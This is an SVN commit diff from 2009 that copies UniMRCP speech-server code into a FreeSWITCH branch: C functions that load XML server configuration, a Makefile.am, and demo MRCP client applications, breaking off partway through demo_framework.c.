+	const apr_xml_attr *attr;
+	for(attr = root->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"name") == 0) {
+			plugin_name = apr_pstrdup(pool,attr->value);
+		}
+		else if(strcasecmp(attr->name,"class") == 0) {
+			plugin_class = attr->value;
+		}
+		else if(strcasecmp(attr->name,"ext") == 0) {
+			plugin_ext = attr->value;
+		}
+		else if(strcasecmp(attr->name,"enable") == 0) {
+			plugin_enabled = atoi(attr->value);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+		}
+	}
+
+	if(!plugin_class || !plugin_enabled) {
+		return FALSE;
+	}
+	if(!plugin_dir_path) {
+		plugin_dir_path = DEFAULT_PLUGIN_DIR_PATH;
+	}
+	if(!plugin_ext) {
+		plugin_ext = DEFAULT_PLUGIN_EXT;
+	}
+
+	if(*plugin_dir_path == '\0') {
+		plugin_path = apr_psprintf(pool,"%s.%s",plugin_class,plugin_ext);
+	}
+	else {
+		plugin_path = apr_psprintf(pool,"%s/%s.%s",plugin_dir_path,plugin_class,plugin_ext);
+	}
+
+	return mrcp_server_plugin_register(server,plugin_path,plugin_name);
+}
+
+/** Load plugins */
+static apt_bool_t unimrcp_server_plugins_load(mrcp_server_t *server, const char *plugin_dir_path, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Plugins (Resource Engines)");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"engine") == 0) {
+			unimrcp_server_plugin_load(server,plugin_dir_path,elem,pool);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+
+/** Load settings */
+static apt_bool_t unimrcp_server_settings_load(mrcp_server_t *server, const char *plugin_dir_path, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Settings");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"signaling") == 0) {
+			unimrcp_server_signaling_agents_load(server,elem,pool);
+		}
+		else if(strcasecmp(elem->name,"connection") == 0) {
+			unimrcp_server_connection_agents_load(server,elem,pool);
+		}
+		else if(strcasecmp(elem->name,"media") == 0) {
+			unimrcp_server_media_engines_load(server,elem,pool);
+		}
+		else if(strcasecmp(elem->name,"plugin") == 0) {
+			unimrcp_server_plugins_load(server,plugin_dir_path,elem,pool);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}    
+	return TRUE;
+}
+
+/** Load profile */
+static apt_bool_t unimrcp_server_profile_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const char *name = NULL;
+	mrcp_profile_t *profile;
+	mrcp_sig_agent_t *sig_agent = NULL;
+	mrcp_connection_agent_t *cnt_agent = NULL;
+	mpf_engine_t *media_engine = NULL;
+	mpf_termination_factory_t *rtp_factory = NULL;
+	apr_table_t *plugin_map = NULL;
+	const apr_xml_elem *elem;
+	const apr_xml_attr *attr;
+	for(attr = root->attr; attr; attr = attr->next) {
+		if(strcasecmp(attr->name,"name") == 0) {
+			name = apr_pstrdup(pool,attr->value);
+			apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Profile [%s]",name);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr->name);
+		}
+	}
+	if(!name) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Failed to Load Profile: no profile name specified");
+		return FALSE;
+	}
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"param") == 0) {
+			const apr_xml_attr *attr_name;
+			const apr_xml_attr *attr_value;
+			if(param_name_value_get(elem,&attr_name,&attr_value) == TRUE) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Loading Profile %s [%s]",attr_name->value,attr_value->value);
+				if(strcasecmp(attr_name->value,"signaling-agent") == 0) {
+					sig_agent = mrcp_server_signaling_agent_get(server,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"connection-agent") == 0) {
+					cnt_agent = mrcp_server_connection_agent_get(server,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"media-engine") == 0) {
+					media_engine = mrcp_server_media_engine_get(server,attr_value->value);
+				}
+				else if(strcasecmp(attr_name->value,"rtp-factory") == 0) {
+					rtp_factory = mrcp_server_rtp_factory_get(server,attr_value->value);
+				}
+				else {
+					apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Attribute <%s>",attr_name->value);
+				}
+			}
+		}
+		else if(strcasecmp(elem->name,"pluginmap") == 0) {
+			plugin_map = apr_table_make(pool,2);
+			plugin_map_load(plugin_map,elem,pool);
+		}
+	}
+
+	apt_log(APT_LOG_MARK,APT_PRIO_NOTICE,"Create Profile [%s]",name);
+	profile = mrcp_server_profile_create(NULL,sig_agent,cnt_agent,media_engine,rtp_factory,pool);
+	return mrcp_server_profile_register(server,profile,plugin_map,name);
+}
+
+/** Load profiles */
+static apt_bool_t unimrcp_server_profiles_load(mrcp_server_t *server, const apr_xml_elem *root, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	apt_log(APT_LOG_MARK,APT_PRIO_DEBUG,"Loading Profiles");
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"profile") == 0) {
+			unimrcp_server_profile_load(server,elem,pool);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}
+    return TRUE;
+}
+
+/** Load configuration (settings and profiles) */
+static apt_bool_t unimrcp_server_config_load(mrcp_server_t *server, const char *plugin_dir_path, const apr_xml_doc *doc, apr_pool_t *pool)
+{
+	const apr_xml_elem *elem;
+	const apr_xml_elem *root = doc->root;
+	if(!root || strcasecmp(root->name,"unimrcpserver") != 0) {
+		apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Document");
+		return FALSE;
+	}
+	for(elem = root->first_child; elem; elem = elem->next) {
+		if(strcasecmp(elem->name,"settings") == 0) {
+			unimrcp_server_settings_load(server,plugin_dir_path,elem,pool);
+		}
+		else if(strcasecmp(elem->name,"profiles") == 0) {
+			unimrcp_server_profiles_load(server,elem,pool);
+		}
+		else {
+			apt_log(APT_LOG_MARK,APT_PRIO_WARNING,"Unknown Element <%s>",elem->name);
+		}
+	}
+    
+	return TRUE;
+}

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client)

Property changes: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client


Name: svn:ignore
   + Makefile.in
*.user
.deps
Makefile
unimrcpclient

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/Makefile.am

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/Makefile.am (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,28 @@
+MAINTAINERCLEANFILES   = Makefile.in
+
+INCLUDES               = -Iinclude \
+                         -I$(top_srcdir)/platforms/libunimrcp-client/include \
+                         -I$(top_srcdir)/libs/mrcp-client/include \
+                         -I$(top_srcdir)/libs/mrcp-signaling/include \
+                         -I$(top_srcdir)/libs/mrcpv2-transport/include \
+                         -I$(top_srcdir)/libs/mrcp/include \
+                         -I$(top_srcdir)/libs/mrcp/message/include \
+                         -I$(top_srcdir)/libs/mrcp/control/include \
+                         -I$(top_srcdir)/libs/mrcp/resources/include \
+                         -I$(top_srcdir)/libs/mpf/include \
+                         -I$(top_srcdir)/libs/apr-toolkit/include \
+                         $(UNIMRCP_APR_INCLUDES) $(UNIMRCP_APU_INCLUDES)
+
+bin_PROGRAMS           = unimrcpclient
+unimrcpclient_SOURCES  = src/main.c \
+                         src/demo_framework.c \
+                         src/demo_synth_application.c \
+                         src/demo_recog_application.c \
+                         src/demo_bypass_application.c \
+                         src/demo_discover_application.c \
+                         src/demo_util.c
+unimrcpclient_LDADD    = $(top_builddir)/platforms/libunimrcp-client/libunimrcpclient.la
+
+if ISMAC
+unimrcpclient_LDFLAGS  = -framework CoreFoundation -framework SystemConfiguration
+endif

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/include)

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_application.h

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_application.h (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/include/demo_application.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_application.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_application.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __DEMO_APPLICATION_H__
+#define __DEMO_APPLICATION_H__
+
+/**
+ * @file demo_application.h
+ * @brief Demo MRCP Application
+ */ 
+
+#include "mrcp_application.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Demo application declaration */
+typedef struct demo_application_t demo_application_t;
+
+/** Demo application */
+struct demo_application_t {
+	/** MRCP application */
+	mrcp_application_t              *application;
+	/** Demo framework */
+	void                            *framework;
+
+	/** Virtual run method */
+	apt_bool_t (*run)(demo_application_t *application, const char *profile);
+	/** Virtual app_message handler */
+	apt_bool_t (*handler)(demo_application_t *application, const mrcp_app_message_t *app_message);
+};
+
+
+/** Create demo synthesizer application */
+demo_application_t* demo_synth_application_create(apr_pool_t *pool);
+
+/** Create demo recognizer application */
+demo_application_t* demo_recog_application_create(apr_pool_t *pool);
+
+/** Create demo bypass media application */
+demo_application_t* demo_bypass_application_create(apr_pool_t *pool);
+
+/** Create demo resource discover application */
+demo_application_t* demo_discover_application_create(apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__DEMO_APPLICATION_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_framework.h

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_framework.h (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/include/demo_framework.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_framework.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_framework.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __DEMO_FRAMEWORK_H__
+#define __DEMO_FRAMEWORK_H__
+
+/**
+ * @file demo_framework.h
+ * @brief Demo MRCP Application Framework
+ */ 
+
+#include "mrcp_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque demo framework declaration */
+typedef struct demo_framework_t demo_framework_t;
+
+/**
+ * Create demo framework.
+ */
+demo_framework_t* demo_framework_create(apt_dir_layout_t *dir_layout);
+
+/**
+ * Run demo application.
+ * @param framework the framework to run application for
+ * @param app_name the name of the application to run
+ * @param profile_name the name of the profile to use
+ */
+apt_bool_t demo_framework_app_run(demo_framework_t *framework, const char *app_name, const char *profile_name);
+
+/**
+ * Destroy demo framework.
+ * @param framework the framework to destroy
+ */
+apt_bool_t demo_framework_destroy(demo_framework_t *framework);
+
+APT_END_EXTERN_C
+
+#endif /*__DEMO_FRAMEWORK_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_util.h

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_util.h (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/include/demo_util.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_util.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/include/demo_util.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __DEMO_UTIL_H__
+#define __DEMO_UTIL_H__
+
+/**
+ * @file demo_util.h
+ * @brief Demo MRCP Utilities
+ */ 
+
+#include "mrcp_application.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Create demo MRCP message (SPEAK request) */
+mrcp_message_t* demo_speak_message_create(mrcp_session_t *session, mrcp_channel_t *channel, const apt_dir_layout_t *dir_layout);
+
+/** Create demo MRCP message (DEFINE-GRAMMAR request) */
+mrcp_message_t* demo_define_grammar_message_create(mrcp_session_t *session, mrcp_channel_t *channel, const apt_dir_layout_t *dir_layout);
+/** Create demo MRCP message (RECOGNIZE request) */
+mrcp_message_t* demo_recognize_message_create(mrcp_session_t *session, mrcp_channel_t *channel, const apt_dir_layout_t *dir_layout);
+
+/** Parse NLSML result */
+apt_bool_t demo_nlsml_result_parse(mrcp_message_t *message);
+
+/** Create demo RTP termination descriptor */
+mpf_rtp_termination_descriptor_t* demo_rtp_descriptor_create(apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__DEMO_UTIL_H__*/

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/src)

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_bypass_application.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_bypass_application.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/src/demo_bypass_application.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_bypass_application.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_bypass_application.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,209 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 
+ * Demo synthesizer scenario (client stack stays out of media path).
+ * C -> S: SIP INVITE or RTPS SETUP   (add synthesizer channel)
+ * S -> C: SIP OK or RTPS OK
+ * C -> S: MRCP SPEAK
+ * S -> C: MRCP IN-PROGRESS
+ * S -> X: RTP Start Transmission     (RTP stream is sent directly to external endpoint bypassing client stack)
+ * S -> C: MRCP SPEAK-COMPLETE
+ * S -> X: RTP Stop Transmission
+ * C -> S: SIP INVITE or RTPS SETUP   (optionally remove synthesizer channel)
+ * S -> C: SIP OK or RTPS OK
+ * C -> S: SIP BYE or RTPS TEARDOWN
+ * S -> C: SIP OK or RTPS OK
+ */
+
+#include "demo_application.h"
+#include "demo_util.h"
+#include "mrcp_session.h"
+#include "mrcp_message.h"
+#include "mrcp_generic_header.h"
+#include "mrcp_synth_header.h"
+#include "mrcp_synth_resource.h"
+#include "apt_log.h"
+
+typedef struct demo_app_channel_t demo_app_channel_t;
+
+/** Declaration of synthesizer application channel */
+struct demo_app_channel_t {
+	/** MRCP control channel */
+	mrcp_channel_t     *channel;
+};
+
+/** Declaration of demo application methods */
+static apt_bool_t demo_application_run(demo_application_t *demo_application, const char *profile);
+static apt_bool_t demo_application_handler(demo_application_t *application, const mrcp_app_message_t *app_message);
+
+static apt_bool_t demo_application_on_session_update(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t demo_application_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t demo_application_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+static apt_bool_t demo_application_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+static apt_bool_t demo_application_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message);
+
+static const mrcp_app_message_dispatcher_t demo_application_dispatcher = {
+	demo_application_on_session_update,
+	demo_application_on_session_terminate,
+	demo_application_on_channel_add,
+	demo_application_on_channel_remove,
+	demo_application_on_message_receive
+};
+
+
+/** Create demo bypass media application */
+demo_application_t* demo_bypass_application_create(apr_pool_t *pool)
+{
+	demo_application_t *demo_application = apr_palloc(pool,sizeof(demo_application_t));
+	demo_application->application = NULL;
+	demo_application->framework = NULL;
+	demo_application->handler = demo_application_handler;
+	demo_application->run = demo_application_run;
+	return demo_application;
+}
+
+/** Create demo channel */
+static mrcp_channel_t* demo_application_channel_create(mrcp_session_t *session)
+{
+	mrcp_channel_t *channel;
+	/* create channel */
+	demo_app_channel_t *demo_channel = apr_palloc(session->pool,sizeof(demo_app_channel_t));
+	mpf_rtp_termination_descriptor_t *rtp_descriptor = demo_rtp_descriptor_create(session->pool);
+	channel = mrcp_application_channel_create(
+			session,                     /* session, channel belongs to */
+			MRCP_SYNTHESIZER_RESOURCE,   /* MRCP resource identifier */
+			NULL,                        /* no termination (not to use internal media processing)  */
+			rtp_descriptor,              /* RTP descriptor, used to create RTP termination */
+			demo_channel);               /* object to associate */
+	return channel;
+}
+
+
+/** Run demo scenario */
+static apt_bool_t demo_application_run(demo_application_t *demo_application, const char *profile)
+{
+	mrcp_channel_t *channel;
+	/* create session */
+	mrcp_session_t *session = mrcp_application_session_create(demo_application->application,profile,NULL);
+	if(!session) {
+		return FALSE;
+	}
+	
+	/* create channel and associate all the required data */
+	channel = demo_application_channel_create(session);
+	if(!channel) {
+		mrcp_application_session_destroy(session);
+		return FALSE;
+	}
+
+	/* add channel to session (send asynchronous request) */
+	if(mrcp_application_channel_add(session,channel) != TRUE) {
+		/* session and channel are still not referenced 
+		and both are allocated from session pool and will
+		be freed with session destroy call */
+		mrcp_application_session_destroy(session);
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+/** Handle the messages sent from the MRCP client stack */
+static apt_bool_t demo_application_handler(demo_application_t *application, const mrcp_app_message_t *app_message)
+{
+	/* app_message should be dispatched now,
+	*  the default dispatcher is used in demo. */
+	return mrcp_application_message_dispatch(&demo_application_dispatcher,app_message);
+}
+
+/** Handle the responses sent to session update requests */
+static apt_bool_t demo_application_on_session_update(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
+{
+	return TRUE;
+}
+
+/** Handle the responses sent to session terminate requests */
+static apt_bool_t demo_application_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
+{
+	/* received response to session termination request,
+	now it's safe to destroy no more referenced session */
+	mrcp_application_session_destroy(session);
+	return TRUE;
+}
+
+/** Handle the responses sent to channel add requests */
+static apt_bool_t demo_application_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+{
+	if(status == MRCP_SIG_STATUS_CODE_SUCCESS) {
+		mpf_rtp_termination_descriptor_t *rtp_descriptor;
+		mrcp_message_t *mrcp_message;
+		const apt_dir_layout_t *dir_layout = mrcp_application_dir_layout_get(application);
+		/* create and send SPEAK request */
+		mrcp_message = demo_speak_message_create(session,channel,dir_layout);
+		if(mrcp_message) {
+			mrcp_application_message_send(session,channel,mrcp_message);
+		}
+		rtp_descriptor = mrcp_application_rtp_descriptor_get(channel);
+		if(rtp_descriptor) {
+			mpf_rtp_media_descriptor_t *local_media = rtp_descriptor->audio.local;
+			mpf_rtp_media_descriptor_t *remote_media = rtp_descriptor->audio.remote;
+			if(local_media && remote_media) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Media Attributes: L[%s/%d] R[%s/%d]",
+					local_media->base.ip.buf,
+					local_media->base.port,
+					remote_media->base.ip.buf,
+					remote_media->base.port);
+			}
+		}
+	}
+	else {
+		/* error case, just terminate the demo */
+		mrcp_application_session_terminate(session);
+	}
+	return TRUE;
+}
+
+/** Handle the responses sent to channel remove requests */
+static apt_bool_t demo_application_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status)
+{
+	/* terminate the demo */
+	mrcp_application_session_terminate(session);
+	return TRUE;
+}
+
+/** Handle the MRCP responses/events */
+static apt_bool_t demo_application_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
+{
+	if(message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
+		/* received MRCP response */
+		if(message->start_line.method_id == SYNTHESIZER_SPEAK) {
+			/* received the response to SPEAK request, 
+			waiting for SPEAK-COMPLETE event */
+		}
+		else {
+			/* received unexpected response */
+		}
+	}
+	else if(message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
+		/* received MRCP event */
+		if(message->start_line.method_id == SYNTHESIZER_SPEAK_COMPLETE) {
+			/* received SPEAK-COMPLETE event, remove channel */
+			mrcp_application_channel_remove(session,channel);
+		}
+	}
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_discover_application.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_discover_application.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/src/demo_discover_application.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_discover_application.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_discover_application.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,115 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* 
+ * Demo resource discovery.
+ * C -> S: SIP OPTIONS or RTPS DESCRIBE
+ * S -> C: SIP OK or RTPS OK
+ */
+
+#include "demo_application.h"
+#include "mrcp_session_descriptor.h"
+#include "mrcp_control_descriptor.h"
+#include "apt_log.h"
+
+
+/** Declaration of synthesizer application methods */
+static apt_bool_t discover_application_run(demo_application_t *demo_application, const char *profile);
+static apt_bool_t discover_application_handler(demo_application_t *application, const mrcp_app_message_t *app_message);
+
+/** Declaration of application message handlers */
+static apt_bool_t discover_application_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
+static apt_bool_t discover_application_on_resource_discover(mrcp_application_t *application, mrcp_session_t *session, mrcp_session_descriptor_t *descriptor, mrcp_sig_status_code_e status);
+
+static const mrcp_app_message_dispatcher_t discover_application_dispatcher = {
+	NULL,
+	discover_application_on_session_terminate,
+	NULL,
+	NULL,
+	NULL,
+	NULL,
+	NULL,
+	discover_application_on_resource_discover
+};
+
+/** Create demo resource discover application */
+demo_application_t* demo_discover_application_create(apr_pool_t *pool)
+{
+	demo_application_t *discover_application = apr_palloc(pool,sizeof(demo_application_t));
+	discover_application->application = NULL;
+	discover_application->framework = NULL;
+	discover_application->handler = discover_application_handler;
+	discover_application->run = discover_application_run;
+	return discover_application;
+}
+
+/** Run demo resource discover scenario */
+static apt_bool_t discover_application_run(demo_application_t *demo_application, const char *profile)
+{
+	/* create session */
+	mrcp_session_t *session = mrcp_application_session_create(demo_application->application,profile,NULL);
+	if(!session) {
+		return FALSE;
+	}
+	
+	/* send resource discover request */
+	if(mrcp_application_resource_discover(session) != TRUE) {
+		mrcp_application_session_destroy(session);
+		return FALSE;
+	}
+
+	return TRUE;
+}
+
+/** Handle the messages sent from the MRCP client stack */
+static apt_bool_t discover_application_handler(demo_application_t *application, const mrcp_app_message_t *app_message)
+{
+	/* app_message should be dispatched now,
+	*  the default dispatcher is used in demo. */
+	return mrcp_application_message_dispatch(&discover_application_dispatcher,app_message);
+}
+
+/** Handle the responses sent to session terminate requests */
+static apt_bool_t discover_application_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status)
+{
+	/* received response to session termination request,
+	now it's safe to destroy no more referenced session */
+	mrcp_application_session_destroy(session);
+	return TRUE;
+}
+
+/** Handle the responses sent to resource discover requests */
+static apt_bool_t discover_application_on_resource_discover(mrcp_application_t *application, mrcp_session_t *session, mrcp_session_descriptor_t *descriptor, mrcp_sig_status_code_e status)
+{
+	if(descriptor && status == MRCP_SIG_STATUS_CODE_SUCCESS) {
+		int i;
+		int count = descriptor->control_media_arr->nelts;
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"On Resource Discover [%d]", count);
+
+		for(i = 0; i < count; i++) {
+			mrcp_control_descriptor_t *control_media = mrcp_session_control_media_get(descriptor,i);
+			if(control_media) {
+				apt_log(APT_LOG_MARK,APT_PRIO_INFO,"[%d] - %s", i,control_media->resource_name.buf);
+			}
+		}
+	}
+	else {
+		apt_log(APT_LOG_MARK,APT_PRIO_INFO,"Failed to Discover Resources");
+	}
+	
+	mrcp_application_session_terminate(session);
+	return TRUE;
+}

Deleted: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_framework.c

Copied: freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_framework.c (from rev 14471, freeswitch/trunk/libs/unimrcp/platforms/unimrcp-client/src/demo_framework.c) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_framework.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/platforms/unimrcp-client/src/demo_framework.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,245 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <apr_hash.h>
+#include "demo_framework.h"
+#include "demo_application.h"
+#include "unimrcp_client.h"
+#include "apt_consumer_task.h"
+#include "apt_log.h"
+
+#define FRAMEWORK_TASK_NAME "Framework Task"
+
+#define MAX_APP_NAME_LENGTH     16
+#define MAX_PROFILE_NAME_LENGTH 16
+
+/** Demo framework */
+struct demo_framework_t {
+	/** MRCP client stack instance */
+	mrcp_client_t       *client;
+	/** Message processing task */
+	apt_consumer_task_t *task;
+	/** Table of demo applications */
+	apr_hash_t          *application_table;
+	/** Memory to allocate memory from */
+	apr_pool_t          *pool;
+};
+
+typedef struct framework_task_data_t framework_task_data_t;
+struct framework_task_data_t {
+	char                      app_name[MAX_APP_NAME_LENGTH];
+	char                      profile_name[MAX_PROFILE_NAME_LENGTH];
+	demo_application_t       *demo_application;
+	const mrcp_app_message_t *app_message;
+};
+
+typedef enum {
+	DEMO_APPLICATION_MSG_ID,
+	DEMO_CONSOLE_MSG_ID
+} framework_msg_type_e;
+
